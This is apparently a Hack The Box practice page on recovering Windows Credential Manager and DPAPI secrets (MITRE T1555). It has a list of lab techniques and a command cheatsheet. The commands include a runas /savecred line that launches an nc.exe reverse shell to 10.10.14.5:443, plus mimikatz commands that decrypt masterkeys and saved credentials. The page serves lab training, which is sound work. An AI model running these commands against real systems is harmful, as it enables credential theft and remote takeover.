Windows Credential Manager
Sub-technique of T1555 Credentials from Password Stores ↗
Recovering credentials saved with DPAPI (Credential Manager, runas /savecred, browsers).
How it shows up on Hack The Box
cmdkey /list shows saved credentials you can use with runas /savecred. To decrypt the blobs you need the user's masterkey, which is decrypted with their password.
Techniques in our catalog that match this one (the number is their machines):
Machines to practice it
Sorted from easiest to hardest. The ▶ link takes you to the minute of the IppSec video where it is used.
- Cross-Site Scripting (XSS)
- CSRF
- SQL injection
- SSRF
- Saved credentials / DPAPI
- ADCS (certificates)
- NTLM capture and relay
- Pass-the-hash / ticket
- Password spraying and valid users
- Credentials in files
- Internal services and port forwarding
- SAM/LSA/LSASS dumping
- ACL abuse (BloodHound)
- GPP and GPO abuse
- Hash cracking
- Vhost and subdomain fuzzing
- Default credentials
- Insecure deserialization
- Command injection
- Password spraying and valid users
- Credentials in files
- Internal services and port forwarding
- Weak or homemade cryptography
- Backups and archives
- Saved credentials / DPAPI
- AppLocker and Constrained Language Mode
Guides
- Windows credential dumping: SAM, LSA, LSASS, DPAPI and NTDS.dit 4 min read Where Windows keeps credentials and how to get them: SAM and SYSTEM, LSA secrets, LSASS with lsassy or pypykatz, DPAPI, and NTDS.dit with SeBackup.
Commands
Taken from our cheatsheets and tool pages. Type your details and they are filled into every command.
Your values
Saved in this browser and applied to every cheatsheet.
Windows and Active Directory privilege escalation › Windows
Saved Windows credentials
cmdkey /list
runas /savecred /user:Administrator "C:\Windows\Temp\nc.exe -e cmd.exe 10.10.14.5 443"Mimikatz › DPAPI
Decrypt the masterkey with the user's password
Target
.\mimikatz.exe "dpapi::masterkey /in:C:\Users\usuario\AppData\Roaming\Microsoft\Protect\SID\GUID /sid:SID /password:Password123! /protected" "exit"
Decrypt a saved credential
Target
.\mimikatz.exe "dpapi::cred /in:C:\Users\usuario\AppData\Roaming\Microsoft\Credentials\FICHERO /masterkey:MASTERKEY" "exit"No command matches.